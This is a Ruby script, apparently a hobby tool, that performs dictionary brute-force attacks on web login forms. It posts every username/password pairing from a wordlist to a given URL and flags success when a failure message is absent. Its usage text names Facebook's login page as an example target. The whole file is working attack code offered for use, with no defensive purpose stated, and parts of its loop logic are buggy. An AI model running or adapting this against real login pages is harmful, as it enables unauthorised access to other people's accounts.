require 'net/http'

def checkValidHTTP(url)
  if !url.include?"http://" and !url.include?"https://"
    print("Not a valid url for a post request. Its missing 'http://' or 'https://'\nPlease encase it akin to this: http://www.google.com or https://www.google.com\n")
    return false
  end
  return true
end

def getNumberOfCombinations(file)

  count = 0

  filename = File.open(file, "r")

  filename.each_line do |line|
    count += 1
  end

  return count * count


end


def checkFileExistance(filename)
  if File.exist?filename
    return true
  end
  puts("Your file must exist!")
  return false
end

def checkUsage(post_request)

  if ARGV.length != 3 or !post_request.include?":"
    print("Usage: ruby frsDic <wordlist> <url> <postrequest>\nExample: ruby frsDic words.txt www.facebook.com/login.php <'postparameter&postparemeter:Case of failure message'>")
    return false
  end

  return true

end

def crackRemotePassword()

  postrequest = ARGV[2]
  filename = ARGV[0]

  if !checkUsage(postrequest)
    return false
  end

  if !checkFileExistance(filename)
    return false
  end

  if(!checkValidHTTP(ARGV[1]))
    return false
  end

  postArray = Array.new
  uri = URI.parse(ARGV[1])
  file = IO.readlines(filename)
  delimiters = ["&", ":"]
  currentComb = 1

  postArray = postrequest.split(Regexp.union(delimiters))

  x = 0
  y = 0

  numberOfCombinations = getNumberOfCombinations(filename)
  puts("Cracking with: " + numberOfCombinations.to_s + " possible combinations")

    postThread = Thread.new do

      loop do

            username = file[x].delete("\n")
            password = file[y].delete("\n")

            if postArray.length == 4

                begin
                response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[2] => "submit"})
                if response.body.include?postArray[3]
                print("[*]ATTEMPT number: " + currentComb.to_s + " out of: " + numberOfCombinations.to_s + " || " + username + " " + password + " FAILED\n")
                else
                print("[*]ATTEMPT number: " + currentComb.to_s + "out of: " + numberOfCombinations.to_s + " || " + username + " " + password + " SUCCEEDED!")
                break
                end

                y += 1
                currentComb += 1

                if file[y] == file[file.length]
                  y = 0
                  x += 1
                end
                if file[x] == file[file.length]
                  print("Coulnd't crack account...\n")
                  break
                end
              rescue
                unless response.kind_of?Net::HTTPSuccess do
                  puts("Lost connection to: " + ARGV[1].to_s + " Re-establishing connection...\n")
                  response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[2] => "submit"})
                end
              end
            end
          end
        end
      end
      postThread.join
    end



crackRemotePassword()